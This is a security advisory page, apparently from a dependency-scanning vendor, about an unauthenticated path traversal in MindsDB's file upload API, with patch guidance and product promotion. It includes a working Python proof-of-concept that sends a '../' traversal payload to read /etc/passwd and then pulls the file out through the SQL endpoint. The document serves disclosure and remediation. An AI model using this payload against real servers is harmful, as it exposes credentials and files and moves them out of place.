Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-qqhf-pm3j-96g7

HIGH

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Also known asCVE-2025-68472PYSEC-2026-90
Published
Jan 12, 2026
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
19.2%probability of exploitation in next 30 days
Moderate Risk97th percentile+18.86%
0.00%8.32%16.6%25.0%0.1%19.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍mindsdb

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

  • data = request.json (line ~104) accepts attacker input without validation.
  • file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
  • The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

  1. Run MindsDB in Docker:
    docker pull mindsdb/mindsdb:latest
    docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
    
  2. Execute the exploit from the host (save as poc.py and run with python poc.py):
    # poc.py
    import requests, json
    
    base = "http://127.0.0.1:47334"
    payload = {"file": "../../../../../etc/passwd"}  # no source_type -> hits vulnerable branch
    
    r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10)
    print("PUT status:", r.status_code, r.text)
    
    q = requests.post(
        f"{base}/api/sql/query",
        json={"query": "SELECT * FROM files.leak_rel"},
        timeout=10,
    )
    print("SQL response:", json.dumps(q.json(), indent=2))
    
  3. The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.
  4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal

Impact

  • Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImindsdball versions25.11.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mindsdb. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mindsdb to 25.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qqhf-pm3j-96g7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qqhf-pm3j-96g7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qqhf-pm3j-96g7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary [BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. ### Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `"url"`: - `data = request.json` (line ~104) accepts attacker input without validation. - `file_path = os.path.join(temp_dir_path, data["file"])` (line ~178) creates the path inside a temporary directory
O3 Security · Impact-Aware SCA

Is GHSA-qqhf-pm3j-96g7 in your dependencies?

O3 detects GHSA-qqhf-pm3j-96g7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.